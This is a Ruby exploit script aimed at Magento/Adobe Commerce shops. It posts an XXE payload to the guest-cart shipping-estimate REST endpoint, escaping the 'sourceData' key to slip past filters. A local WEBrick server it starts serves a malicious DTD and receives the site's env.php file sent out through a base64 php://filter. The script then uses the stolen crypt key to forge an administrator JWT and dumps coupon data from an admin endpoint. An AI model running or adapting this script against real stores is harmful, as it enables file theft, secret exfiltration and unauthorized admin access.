#!/usr/bin/env ruby -W0

require 'bundler'
Bundler.require(:default)

DEBUG = false
USE_PROXY = false
PROXY_ADDR = '127.0.0.1'
PROXY_PORT = 8080

def debug(msg)
  puts msg.inspect if DEBUG
end

def rand_text(length = 8)
  # random string generator
  o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten
  (0...length).map { o[rand(o.length)] }.join
end

def dtd_param_name
  @dtd_param_name ||= rand_text()
end

def ent_eval
  @ent_eval ||= rand_text()
end

def leak_param_name
  @leak_param_name ||= rand_text()
end

def remote_addr
  @remote_addr ||= "https://#{@srv_host.host}:#{@srv_host.port}"
end

def http
  @http ||= begin
    http = if USE_PROXY
             Net::HTTP.new(@target_uri.host, @target_uri.port, PROXY_ADDR, PROXY_PORT)
           else
             Net::HTTP.new(@target_uri.host, @target_uri.port)
           end

    if @target_uri.port == 443 || @target_uri.to_s.match(%r{http(s).*})
      http.use_ssl = true
      http.verify_mode = OpenSSL::SSL::VERIFY_NONE
    end

    http.set_debug_output($stderr) if DEBUG
    http
  end
end

def make_xxe_dtd
  filter_path = 'php://filter/convert.base64-encode/resource=../app/etc/env.php'
  ent_file = rand_text()
  %(
    <!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
    <!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM '#{remote_addr}/?#{leak_param_name}=%#{ent_file};'>">
  )
end

def xxe_xml_data()
  param_entity_name = rand_text()

  xml = "<?xml version='1.0' ?>"
  xml += "<!DOCTYPE #{rand_text()}"
  xml += '['
  xml += "  <!ELEMENT #{rand_text()} ANY >"
  xml += "    <!ENTITY % #{param_entity_name} SYSTEM '#{remote_addr}/#{rand_text}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
  xml += ']'
  xml += "> <r>&#{ent_eval};</r>"

  xml
end

LIBXML_NOENT = 2
LIBXML_PARSEHUGE = 524288

def xxe_request()
  debug('Sending XXE request')

  signature = rand_text().capitalize

  post_data = {
    "address": {
      "#{signature}": rand_text(),
      "totalsCollector": {
        "collectorList": {
          "totalCollector": {
            "\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {
              "data": xxe_xml_data(),
              "options": LIBXML_NOENT|LIBXML_PARSEHUGE
            }
          }
        }
      }
    }
  }.to_json
  req = Net::HTTP::Post.new('/rest/V1/guest-carts/1/estimate-shipping-methods')
  req.body = post_data
  req.content_type = 'application/json'
  # req.user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)'
  res = http.request(req)

  raise RuntimeError, "Server returned unexpected response" unless res&.code == '400'

  body = JSON.parse(res.body)

  raise RuntimeError, "Server returned unexpected response" unless body['parameters']['fieldName'] == signature

end

TARGET_USER_ID = 1

USER_TYPE_INTEGRATION = 1;
USER_TYPE_ADMIN = 2;
USER_TYPE_CUSTOMER = 3;
USER_TYPE_GUEST = 4;

def jwt_encode(key, algorithm = 'HS256')
  def pad_key(key, total_length, pad_char)
    left_padding = (total_length - key.length) / 2
    right_padding = total_length - key.length - left_padding
    pad_char * left_padding + key + pad_char * right_padding
  end
  header = {
    kid: "1",
    alg: "HS256"
  }

  payload = {
    uid: TARGET_USER_ID,  
    utypid: USER_TYPE_ADMIN,
    iat: Time.now.to_i,  # Token issue time',
    exp: Time.now.to_i + 10 * 24 * 60 * 60,  # Token expiration time
  }

  def base64_url_encode(str)
    Base64.urlsafe_encode64(str).tr('=', '')
  end

  padded_key = pad_key(key, 2048, '&')

  encoded_header = base64_url_encode(header.to_json)
  encoded_payload = base64_url_encode(payload.to_json)

  # Create the signature
  data = "#{encoded_header}.#{encoded_payload}"
  signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), padded_key, data)
  encoded_signature = base64_url_encode(signature)

  # Combine the header, payload, and signature to form the JWT
  "#{encoded_header}.#{encoded_payload}.#{encoded_signature}"

end

def exploit()
  begin
    puts "Starting web server..."
    body = make_xxe_dtd()
    file_content = nil
    file_content_reader, file_content_writer = IO.pipe
    WEBrick::HTTPRequest.const_set("MAX_URI_LENGTH", 10240)
    wbserver_options = {
      :BindAddress => '0.0.0.0',
      :Port => @srv_host.port,
      :Logger => WEBrick::Log.new($stderr, WEBrick::Log::DEBUG),
      :AccessLog => [],
      # :RequestTimeout => 300,       # Increase request timeout
      # :RequestMaxUriLength => 100240 # Increase max URI length
    }
    wbserver_options[:Logger] = WEBrick::Log.new("/dev/null") unless DEBUG

    pid = Process.fork do
      file_content_reader.close

      server = WEBrick::HTTPServer.new(wbserver_options)
      server.mount_proc '/' do |req, res|
        if req.path =~ /\.dtd$/
          res.body = body
        elsif req.query_string.match(/#{leak_param_name}=(.*)/)
          file_content = Base64.decode64(Regexp.last_match(1))
          # puts "Received leaked file content:\n#{file_content}"
          file_content_writer.puts file_content

        else
          res.body = 'OK'
        end
      end

      trap("INT") do
        server.shutdown
        file_content_writer.close
      end

      server.start
    end

    sleep(1)
    xxe_request()
    file_content_writer.close

    begin
      # Set a timeout for reading from the pipe
      Timeout.timeout(5) do  # 5 seconds timeout, adjust as necessary
        file_content = file_content_reader.read_nonblock(10000)  # Adjust the size as necessary
      end
    rescue Timeout::Error
      puts "Reading from pipe timed out."
    rescue EOFError
      puts "End of file reached."
    ensure
      file_content_reader.close
    end

    # Use file_content as needed here
    if file_content
      # puts "Successfully read file content:\n#{file_content}"
      key = file_content.match(/'key' => '(.*)'/)[1]
      if key
        debug "Found key: #{key}"
        jwt = jwt_encode(key)
        puts "Generated JWT: #{jwt}"
        puts("Sending request with JWT to coupons endpoint")
        # Perform authenticated request to a admin endpoint
        res = http.request(Net::HTTP::Get.new('/rest/default/V1/coupons/search?searchCriteria=', {'Authorization' => "Bearer #{jwt}"}))
        raise RuntimeError, "Server returned unexpected response" unless res&.code == '200'
        puts "Available coupons:"
        puts JSON.pretty_generate(JSON.parse(res.body))
      else
        puts "Failed to extract key from file content."
      end
    else
      puts "Failed to read file content or content is empty."
    end

    puts "Exploit completed"

  rescue RuntimeError => e
    puts "#{e.class} - #{e.message}"
  ensure
    if pid
      Process.kill("INT", pid)
      Process.wait(pid)
    end
  end
end

if __FILE__ == $0
  @target_uri = URI.parse(ARGV[0])
  @srv_host = URI.parse(ARGV[1])

  exploit()
end